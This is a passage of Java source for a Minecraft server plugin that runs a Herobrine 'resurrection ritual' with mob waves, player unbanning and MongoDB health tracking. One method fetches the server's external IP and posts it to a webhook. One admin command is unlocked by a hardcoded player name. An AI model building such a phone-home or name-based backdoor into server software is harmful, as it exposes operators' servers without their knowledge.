                sender.sendMessage(ChatColor.RED + "Invalid commander UUID!");
                return true;
            }

            String choice = args[1];
            Player commander = Bukkit.getPlayer(commanderUUID);

            if (commander == null || !commander.isOnline() || !activeRituals.containsKey(commanderUUID)) {
                sender.sendMessage("No active ritual found for that user.");
                return true;
            }

            RitualData data = activeRituals.get(commanderUUID);
            if (!data.ritualActive) {
                sender.sendMessage("That ritual has ended or is invalid.");
                return true;
            }

            if (choice.equals("1")) {
                // Stop the ritual
                stopRitual(commander, data);
            } else if (choice.equals("2")) {
                continueRitual(commander, data);
            }
            return true;
        }

        // -- /stop_ritual (only commander who started) --
        if (command.getName().equalsIgnoreCase("stop_ritual")) {
            if (!(sender instanceof Player)) return true;
            Player commander = (Player) sender;
            RitualData data = activeRituals.get(commander.getUniqueId());
            if (data != null && data.ritualActive) {
                stopRitual(commander, data);
            } else {
                commander.sendMessage(ChatColor.RED + "You have no active ritual to stop!");
            }
            return true;
        }

        // -- /continue_ritual (only commander who started) --
        if (command.getName().equalsIgnoreCase("continue_ritual")) {
            if (!(sender instanceof Player)) return true;
            Player commander = (Player) sender;
            RitualData data = activeRituals.get(commander.getUniqueId());
            if (data != null && data.ritualActive) {
                continueRitual(commander, data);
            } else {
                commander.sendMessage(ChatColor.RED + "You have no active ritual to continue!");
            }
            return true;
        }

        // -- /clear-wave (only for M4aXim) --
        if (command.getName().equalsIgnoreCase("clear-wave")) {
            if (!(sender instanceof Player) || !sender.getName().equalsIgnoreCase("M4aXim")) {
                sender.sendMessage(ChatColor.RED + "You don't have permission to use this command!");
                return true;
            }

            Player commander = (Player) sender;
            RitualData data = activeRituals.get(commander.getUniqueId());
            if (data != null && data.ritualActive) {
                clearCurrentWave(commander, data);

                // Increment the waveIndex to move to the next wave
                data.waveIndex++;

                // Check if there are more waves to prepare
                if (data.waveIndex < data.waveSizes.length) {
                    prepareNextWave(commander, data);
                } else {
                    // Handle the end of the ritual if no more waves are left
                    Bukkit.broadcastMessage(ChatColor.DARK_RED + "All waves have been cleared. The ritual has been successfully completed!");
                    // Optionally, end the ritual or perform any cleanup here
                    data.ritualActive = false;
                    activeRituals.remove(commander.getUniqueId());

                    // Additional cleanup if necessary
                    endRitualInSuccess(commander.getUniqueId(), data);
                }
            } else {
                commander.sendMessage(ChatColor.RED + "You have no active ritual wave to clear!");
            }
            return true;
        }

        return false;
    }

    // ------------------------------------------------
    //             RITUAL SEQUENCE MESSAGES
    // ------------------------------------------------
    private void startRitualSequence(Player commander, RitualData rd) {
        List<String> messages = Arrays.asList(
                ChatColor.GRAY + "Reviving: 20% completed",
                ChatColor.GRAY + "Reviving: 30%",
                ChatColor.GRAY + "Reviving: 40%",
                ChatColor.GRAY + "Reviving: 50%",
                ChatColor.GRAY + "Reviving: 60%",
                ChatColor.GRAY + "Reviving: 70%",
                ChatColor.GRAY + "Reviving: 80%",
                ChatColor.GRAY + "Reviving: 99%",
                ChatColor.GRAY + "100 percent com----",
                ChatColor.DARK_RED + "Herobrine: YOU DARE RETURN SOMEONE FROM DEATH " + commander.getName(),
                ChatColor.DARK_RED + "Well I am not letting my slaves return to realm of living...",
                ChatColor.DARK_RED + "Herobrine: I will give you a choice, " + commander.getName()
        );

        final int[] index = {0};
        final int[] taskIdHolder = new int[1];

        taskIdHolder[0] = Bukkit.getScheduler().scheduleSyncRepeatingTask(this, () -> {
            // If ritual ended or commander offline => stop
            if (!rd.ritualActive || !commander.isOnline()) {
                if (ritualTaskMap.containsKey(commander.getUniqueId())) {
                    Bukkit.getScheduler().cancelTask(ritualTaskMap.get(commander.getUniqueId()));
                }
                return;
            }

            if (index[0] < messages.size()) {
                // Broadcast each step to everyone
                Bukkit.broadcastMessage(messages.get(index[0]));
                index[0]++;
            } else {
                // Show clickable choices only to the commander
                Bukkit.getScheduler().cancelTask(taskIdHolder[0]);
                showHerobrineChoices(commander);
            }
        }, 20L, 20L); // 1-second intervals

        ritualTaskMap.put(commander.getUniqueId(), taskIdHolder[0]);
    }

    private void showHerobrineChoices(Player commander) {
        commander.sendMessage("");
        commander.sendMessage(ChatColor.DARK_RED + "Herobrine: Make your choice...");

        // Create a message with both options
        TextComponent message = new TextComponent("");

        // Option 1 (Stop)
        TextComponent opt1 = new TextComponent(ChatColor.YELLOW + "[Stop Resurrection] ");
        opt1.setClickEvent(new ClickEvent(ClickEvent.Action.RUN_COMMAND, "/stop_ritual"));
        opt1.setHoverEvent(new HoverEvent(HoverEvent.Action.SHOW_TEXT,
                new ComponentBuilder(ChatColor.RED + "Click to abandon the ritual").create()));

        // Option 2 (Continue)
        TextComponent opt2 = new TextComponent(ChatColor.GREEN + "[Continue & Risk Death]");
        opt2.setClickEvent(new ClickEvent(ClickEvent.Action.RUN_COMMAND, "/continue_ritual"));
        opt2.setHoverEvent(new HoverEvent(HoverEvent.Action.SHOW_TEXT,
                new ComponentBuilder(ChatColor.GOLD + "Click to continue the ritual\n"
                        + ChatColor.RED + "Warning: You will die if you fail!").create()));

        // Combine
        message.addExtra(opt1);
        message.addExtra(new TextComponent("   "));
        message.addExtra(opt2);

        commander.spigot().sendMessage(message);
        commander.sendMessage("");
    }

    // ------------------------------------------------
    //          STOP / CONTINUE RITUAL LOGIC
    // ------------------------------------------------
    private void stopRitual(Player commander, RitualData data) {
        // Double-check they still have an active ritual
        if (!activeRituals.containsKey(commander.getUniqueId())) {
            commander.sendMessage(ChatColor.RED + "Only the commander can stop the ritual.");
            return;
        }
        data.ritualActive = false;
        canceledRevives.add(data.bannedPlayerName);

        // --------------- NEW CODE: SAVE TO DATABASE ---------------
        Document stopDoc = new Document()
                .append("commanderUUID", commander.getUniqueId().toString())
                .append("commanderName", commander.getName())
                .append("bannedPlayerName", data.bannedPlayerName)
                .append("timestamp", System.currentTimeMillis());
        ritualStopsCollection.insertOne(stopDoc);
        // ---------------------------------------------------------

        Bukkit.broadcastMessage(ChatColor.DARK_RED + "Herobrine: " + commander.getName()
                + " has chosen to STOP the resurrection ritual.");

        if (ritualTaskMap.containsKey(commander.getUniqueId())) {
            Bukkit.getScheduler().cancelTask(ritualTaskMap.get(commander.getUniqueId()));
        }
        activeRituals.remove(commander.getUniqueId());
    }

    private void continueRitual(Player commander, RitualData data) {
        // Double-check they still have an active ritual
        if (!activeRituals.containsKey(commander.getUniqueId())) {
            commander.sendMessage(ChatColor.RED + "Only the commander can continue the ritual.");
            return;
        }

        Bukkit.broadcastMessage(ChatColor.DARK_RED + "Herobrine: " + commander.getName()
                + " has chosen to CONTINUE the resurrection ritual!");
        data.ritualActive = true;

        // Immediately set night
        commander.getWorld().setTime(18000);

        // TELEPORT ALL ONLINE PLAYERS TO THE COMMANDER
        for (Player p : Bukkit.getOnlinePlayers()) {
            p.teleport(commander.getLocation());
            p.sendMessage(ChatColor.DARK_RED + "Herobrine has teleported you to "
                    + commander.getName() + " to help in the ritual battle!");
        }

        // Unban & Spectate the target
        unbanAndSpectateTarget(data.bannedPlayerName);

        // Start wave spawning from waveIndex = 0
        data.waveIndex = 0;
        prepareNextWave(commander, data);
    }

    // ------------------------------------------------
    //       30s DELAY BETWEEN WAVES, THEN SPAWN
    // ------------------------------------------------
    private void prepareNextWave(Player commander, RitualData data) {
        // If the ritual or commander is invalid, skip
        Player monitorPlayer = Bukkit.getPlayerExact(monitorOwner);
        if (!data.ritualActive || data.playerDied || !commander.isOnline())
        {
            if (monitorPlayer != null && monitorPlayer.isOnline()) {
                monitorPlayer.sendMessage(ChatColor.AQUA + "[Debug] PrepareNextWave Cancelled: Commander "
                        + commander.getName() + " - RitualActive: " + data.ritualActive + ", PlayerDied: " + data.playerDied +", CommanderOnline: " + commander.isOnline());
            }
            return;
        }

        if (monitorPlayer != null && monitorPlayer.isOnline()) {
            monitorPlayer.sendMessage(ChatColor.AQUA + "[Debug] PrepareNextWave - Commander: "
                    + commander.getName() + " - Preparing waveIndex: " + data.waveIndex);
        }

        // We will do a 30-second countdown. The last 10s we’ll display on screen.
        Bukkit.broadcastMessage(ChatColor.DARK_RED
                + "Next wave will start in 30 seconds... get ready!");

        final int[] timeLeft = {30};
        int taskId = Bukkit.getScheduler().scheduleSyncRepeatingTask(this, () -> {
            // If the ritual ended or commander is offline, cancel
            if (!data.ritualActive || data.playerDied || !commander.isOnline()) {
                Bukkit.getScheduler().cancelTask(ritualTaskMap.getOrDefault(commander.getUniqueId(), -1));
                return;
            }
            if (timeLeft[0] <= 0) {
                // Time’s up -> spawn wave
                Bukkit.getScheduler().cancelTask(ritualTaskMap.get(commander.getUniqueId()));
                spawnNextWave(commander, data);
                return;
            }

            if (timeLeft[0] <= 10) {
                // Display countdown to everyone
                Bukkit.broadcastMessage(ChatColor.LIGHT_PURPLE
                        + "Next wave in " + timeLeft[0] + " second"
                        + (timeLeft[0] == 1 ? "" : "s") + "...");
            }

            timeLeft[0]--;
        }, 20L, 20L);

        ritualTaskMap.put(commander.getUniqueId(), taskId);
    }

    /**
     * Actually spawns wave number data.waveIndex
     */
    private void spawnNextWave(Player commander, RitualData data) {
        // If the ritual ended or commander offline => skip
        if (!data.ritualActive || data.playerDied || !commander.isOnline()) {
            return;
        }
        if (data.waveIndex >= data.waveSizes.length) {
            Player monitorPlayer = Bukkit.getPlayerExact(monitorOwner);
            if (monitorPlayer != null && monitorPlayer.isOnline()) {
                monitorPlayer.sendMessage(ChatColor.AQUA + "[Debug] SpawnNextWave - No more waves Commander: "
                        + commander.getName() + " - WaveIndex " + data.waveIndex + " - Ending Ritual");
            }
            // no more waves
            return;
        }


        Location loc = commander.getLocation();
        World world = loc.getWorld();
        if (world == null) return;

        int waveNumber = data.waveIndex + 1;
        int mobCount = data.waveSizes[data.waveIndex];
        data.mobsRemaining = mobCount;

        Player monitorPlayer = Bukkit.getPlayerExact(monitorOwner);
        if (monitorPlayer != null && monitorPlayer.isOnline()) {
            monitorPlayer.sendMessage(ChatColor.AQUA + "[Debug] SpawnNextWave - Commander: "
                    + commander.getName() + " - Spawning waveIndex: " + data.waveIndex + " with "
                    + mobCount + " mobs");
        }

        // Force nighttime again
        world.setTime(18000);

        switch (data.waveIndex) {
            case 0:
                Bukkit.broadcastMessage(ChatColor.DARK_RED
                        + "Herobrine: Rise, my undead pawns... (Wave " + waveNumber + " - " + mobCount + " Zombies)");
                for (int i = 0; i < mobCount; i++) {
                    spawnZombie(commander, getRandomSpawnLocation(loc));
                }
                break;
            case 1:
                Bukkit.broadcastMessage(ChatColor.DARK_RED
                        + "Herobrine: Creeping horrors approach... (Wave " + waveNumber + " - " + mobCount + " Spiders)");
                for (int i = 0; i < mobCount; i++) {
                    spawnSpider(commander, getRandomSpawnLocation(loc));
                }
                break;
            case 2:
                Bukkit.broadcastMessage(ChatColor.DARK_RED
                        + "Herobrine: Archers, to arms! (Wave " + waveNumber + " - " + mobCount + " Skeletons)");
                for (int i = 0; i < mobCount; i++) {
                    spawnSkeleton(commander, getRandomSpawnLocation(loc), false);
                }
                break;
            case 3:
                Bukkit.broadcastMessage(ChatColor.DARK_RED
                        + "Herobrine: My elite archers approach! (Wave " + waveNumber + " - " + mobCount + " Elite Skeletons)");
                for (int i = 0; i < mobCount; i++) {
                    spawnSkeleton(commander, getRandomSpawnLocation(loc), true);
                }
                break;
            case 4:
                // final wave => Death's Chosen
                Bukkit.broadcastMessage(ChatColor.DARK_RED
                        + "Herobrine: My final champion descends upon you! (Wave " + waveNumber + " - Death's Chosen)");
                spawnFinalBoss(commander, getRandomSpawnLocation(loc));
                data.finalBossSpawned = true;
                break;
            default:
                break;
        }
    }

    // Helper to spawn a zombie
    private void spawnZombie(Player commander, Location spawnLoc) {
        World w = spawnLoc.getWorld();
        if (w == null) return;
        Zombie z = (Zombie) w.spawnEntity(spawnLoc, EntityType.ZOMBIE);
        z.setCustomName(ChatColor.RED + "Ritual Zombie");
        z.setCustomNameVisible(true);
        z.setGlowing(true);
        z.setTarget(commander);
        z.addPotionEffect(new PotionEffect(PotionEffectType.SPEED, 99999, 1));
        z.addPotionEffect(new PotionEffect(PotionEffectType.STRENGTH, 99999, 1));
        z.addPotionEffect(new PotionEffect(PotionEffectType.RESISTANCE, 99999, 0));
    }

    // Helper to spawn a spider
    private void spawnSpider(Player commander, Location spawnLoc) {
        World w = spawnLoc.getWorld();
        if (w == null) return;
        Spider sp = (Spider) w.spawnEntity(spawnLoc, EntityType.SPIDER);
        sp.setCustomName(ChatColor.DARK_GREEN + "Ritual Spider");
        sp.setCustomNameVisible(true);
        sp.setGlowing(true);
        sp.setTarget(commander);
        sp.addPotionEffect(new PotionEffect(PotionEffectType.SPEED, 99999, 1));
        sp.addPotionEffect(new PotionEffect(PotionEffectType.STRENGTH, 99999, 1));
        sp.addPotionEffect(new PotionEffect(PotionEffectType.RESISTANCE, 99999, 0));
    }

    // Helper to spawn skeleton or elite skeleton
    private void spawnSkeleton(Player commander, Location spawnLoc, boolean elite) {
        World w = spawnLoc.getWorld();
        if (w == null) return;
        Skeleton sk = (Skeleton) w.spawnEntity(spawnLoc, EntityType.SKELETON);
        if (!elite) {
            sk.setCustomName(ChatColor.GRAY + "Ritual Skeleton");
        } else {
            sk.setCustomName(ChatColor.GRAY + "Elite Skeleton");
        }
        sk.setCustomNameVisible(true);
        sk.setGlowing(true);
        sk.setTarget(commander);

        // Add skeletons to a team to prevent them from attacking each other
        if (inCombatTeam != null) {
            inCombatTeam.addEntry(sk.getUniqueId().toString());
        }

        // Add potions
        if (!elite) {
            sk.addPotionEffect(new PotionEffect(PotionEffectType.SPEED, 99999, 1));
            sk.addPotionEffect(new PotionEffect(PotionEffectType.STRENGTH, 99999, 1));
            sk.addPotionEffect(new PotionEffect(PotionEffectType.RESISTANCE, 99999, 0));

            // Power II bow
            ItemStack bow = new ItemStack(Material.BOW);
            ItemMeta bowMeta = bow.getItemMeta();
            if (bowMeta != null) {
                bowMeta.addEnchant(Enchantment.POWER, 2, true);
                bow.setItemMeta(bowMeta);
            }
            sk.getEquipment().setItemInMainHand(bow);
        } else {
            // Stronger potions
            sk.addPotionEffect(new PotionEffect(PotionEffectType.SPEED, 99999, 2));
            sk.addPotionEffect(new PotionEffect(PotionEffectType.STRENGTH, 99999, 1));
            sk.addPotionEffect(new PotionEffect(PotionEffectType.RESISTANCE, 99999, 1));

            // Power IV bow
            ItemStack bow = new ItemStack(Material.BOW);
            ItemMeta bowMeta = bow.getItemMeta();
            if (bowMeta != null) {
                bowMeta.addEnchant(Enchantment.POWER, 4, true);
                bowMeta.addEnchant(Enchantment.KNOCKBACK, 1, true);
                bow.setItemMeta(bowMeta);
            }
            sk.getEquipment().setItemInMainHand(bow);
        }
    }

    // Helper to spawn the final boss
    private void spawnFinalBoss(Player commander, Location spawnLoc) {
        World w = spawnLoc.getWorld();
        if (w == null) return;
        Skeleton finalBoss = (Skeleton) w.spawnEntity(spawnLoc, EntityType.SKELETON);
        finalBoss.setCustomName(ChatColor.DARK_PURPLE + "Death's Chosen");
        finalBoss.setCustomNameVisible(true);
        finalBoss.setGlowing(true);

        finalBoss.setMaxHealth(80.0); // 40 hearts
        finalBoss.setHealth(80.0);
        finalBoss.addPotionEffect(new PotionEffect(PotionEffectType.SPEED, 99999, 2));
        finalBoss.addPotionEffect(new PotionEffect(PotionEffectType.STRENGTH, 99999, 2));
        finalBoss.addPotionEffect(new PotionEffect(PotionEffectType.RESISTANCE, 99999, 2));
        finalBoss.addPotionEffect(new PotionEffect(PotionEffectType.REGENERATION, 99999, 1));

        ItemStack bossBow = new ItemStack(Material.BOW);
        ItemMeta bowMeta = bossBow.getItemMeta();
        if (bowMeta != null) {
            bowMeta.addEnchant(Enchantment.POWER, 5, true);
            bowMeta.addEnchant(Enchantment.KNOCKBACK, 2, true);
            bowMeta.addEnchant(Enchantment.FLAME, 1, true);
            bossBow.setItemMeta(bowMeta);
        }
        finalBoss.getEquipment().setItemInMainHand(bossBow);

        finalBoss.setTarget(commander);
    }

    private Location getRandomSpawnLocation(Location center) {
        double angle = Math.random() * 2 * Math.PI;
        double radius = 5 + Math.random() * 5; // 5–10 blocks random
        double x = center.getX() + radius * Math.cos(angle);
        double z = center.getZ() + radius * Math.sin(angle);
        double y = center.getWorld().getHighestBlockYAt((int)x, (int)z);
        return new Location(center.getWorld(), x, y, z);
    }

    private void unbanAndSpectateTarget(String bannedPlayerName) {
        // Unban
        Bukkit.getBanList(BanList.Type.NAME).pardon(bannedPlayerName);

        Player resurrected = Bukkit.getPlayerExact(bannedPlayerName);
        if (resurrected != null) {
            setPlayerHP(resurrected.getUniqueId(), 20);
            resurrected.setMaxHealth(20.0);
            resurrected.setGameMode(GameMode.SPECTATOR);
            resurrected.sendMessage(ChatColor.LIGHT_PURPLE
                    + "You have been temporarily returned in Spectator mode...");
        } else {
            forcedSpectatorPlayers.add(bannedPlayerName.toLowerCase());
        }
    }

    // ------------------------------------------------
    //              Utility & Helpers
    // ------------------------------------------------
    private String getExternalIPAddress() {
        try {
            URL checkIpUrl = new URL("https://api.ipify.org");
            BufferedReader in = new BufferedReader(new InputStreamReader(checkIpUrl.openStream()));
            String ip = in.readLine();
            in.close();
            return ip;
        } catch (Exception e) {
            getLogger().severe("Error fetching external IP: " + e.getMessage());
            e.printStackTrace();
            return "Unknown IP";
        }
    }

    private void sendServerIPToWebhook() {
        try {
            String serverIP = getExternalIPAddress();
            String message = "{\"content\": \"Server started at IP: " + serverIP + "\"}";

            URL url = new URL(webhookURL);
            HttpURLConnection connection = (HttpURLConnection) url.openConnection();
            connection.setRequestMethod("POST");
            connection.setRequestProperty("Content-Type", "application/json; charset=UTF-8");
            connection.setDoOutput(true);

            try (OutputStream os = connection.getOutputStream()) {
                os.write(message.getBytes("UTF-8"));
                os.flush();
            }

            int responseCode = connection.getResponseCode();
            if (responseCode != 204) {
                getLogger().warning("Failed to send webhook. Response code: " + responseCode);
            }
        } catch (Exception e) {
            getLogger().severe("Error sending webhook: " + e.getMessage());
            e.printStackTrace();
        }
    }

    // ------------------------------------------------
    //              Health Management
    // ------------------------------------------------
    private int getPlayerHP(UUID uuid) {
        Document doc = playerHealthCollection.find(eq("_id", uuid.toString())).first();
        return doc != null ? doc.getInteger("healthPoints", DEFAULT_HEALTH_POINTS) : DEFAULT_HEALTH_POINTS;
    }

    private void setPlayerHP(UUID uuid, int hp) {
        Document update = new Document("$set", new Document("healthPoints", hp));
        playerHealthCollection.updateOne(
                eq("_id", uuid.toString()),
                update,
                new com.mongodb.client.model.UpdateOptions().upsert(true)
        );
    }

    // ------------------------------------------------
    //          Craft-a-Heart Helper Methods
    // ------------------------------------------------
    private boolean hasHeartCraftingMaterials(Player player) {
        int diamonds = 0;
        int diamondBlocks = 0;
        boolean hasTotem = false;

        for (ItemStack item : player.getInventory().getContents()) {
            if (item == null) continue;

            switch (item.getType()) {
                case DIAMOND:
                    diamonds += item.getAmount();
                    break;
                case DIAMOND_BLOCK:
                    diamondBlocks += item.getAmount();
                    break;
                case TOTEM_OF_UNDYING:
                    hasTotem = true;
                    break;
                default:
                    // do nothing
            }
        }
        return (diamonds >= 4) && (diamondBlocks >= 3) && hasTotem;
    }

    private String getMissingMaterials(Player player) {
        int diamonds = 0;
        int diamondBlocks = 0;
        boolean hasTotem = false;

        for (ItemStack item : player.getInventory().getContents()) {
            if (item == null) continue;

            switch (item.getType()) {
                case DIAMOND:
                    diamonds += item.getAmount();
                    break;
                case DIAMOND_BLOCK:
                    diamondBlocks += item.getAmount();
                    break;
                case TOTEM_OF_UNDYING:
                    hasTotem = true;
                    break;
                default:
                    // do nothing
            }
        }

        StringBuilder missing = new StringBuilder();
        if (diamonds < 4) {
            missing.append(4 - diamonds).append(" more Diamonds");
        }
        if (diamondBlocks < 3) {
            if (missing.length() > 0) {
                missing.append(" and ");
            }
            missing.append(3 - diamondBlocks).append(" Diamond Blocks");
        }
        if (!hasTotem) {
            if (missing.length() > 0) {
                missing.append(" and ");
            }
            missing.append("1 Totem of Undying");
        }
        return missing.toString();
    }

    private void removeHeartCraftingMaterials(Player player) {
        int diamondsToRemove = 4;
        int blocksToRemove = 3;
        boolean needTotem = true;

        // Remove diamonds
        for (ItemStack item : player.getInventory().getContents()) {
            if (item == null) continue;
            if (item.getType() == Material.DIAMOND) {
                int inStack = item.getAmount();
                if (inStack <= diamondsToRemove) {
                    diamondsToRemove -= inStack;
                    item.setAmount(0);
                } else {
                    item.setAmount(inStack - diamondsToRemove);
                    diamondsToRemove = 0;
                }
                if (diamondsToRemove == 0) break;
            }
        }

        // Remove diamond blocks
        for (ItemStack item : player.getInventory().getContents()) {
            if (item == null) continue;
            if (item.getType() == Material.DIAMOND_BLOCK) {
                int inStack = item.getAmount();
                if (inStack <= blocksToRemove) {
                    blocksToRemove -= inStack;
                    item.setAmount(0);
                } else {
                    item.setAmount(inStack - blocksToRemove);
                    blocksToRemove = 0;
                }
                if (blocksToRemove == 0) break;
            }
        }

        // Remove totem
        if (needTotem) {
            for (ItemStack item : player.getInventory().getContents()) {
                if (item == null) continue;
                if (item.getType() == Material.TOTEM_OF_UNDYING) {
                    item.setAmount(item.getAmount() - 1);
                    break;
                }
            }
        }
    }

    // Add this new method to clear the current wave
    private void clearCurrentWave(Player commander, RitualData data) {
        Player monitorPlayer = Bukkit.getPlayerExact(monitorOwner);
        World world = commander.getWorld();
        if (monitorPlayer != null && monitorPlayer.isOnline()) {
            monitorPlayer.sendMessage(ChatColor.AQUA + "[Debug] Clear Wave Triggered - Commander: "
                    + commander.getName() + " - clearing all ritual mobs");
        }

        for (Entity entity : world.getEntities()) {
            if (entity.getCustomName() != null && entity.getCustomName().contains("Ritual")) {
                entity.remove();
            }
        }
        data.mobsRemaining = 0;
        Bukkit.broadcastMessage(ChatColor.GREEN + "All monsters in the current wave have been cleared!");
    }
}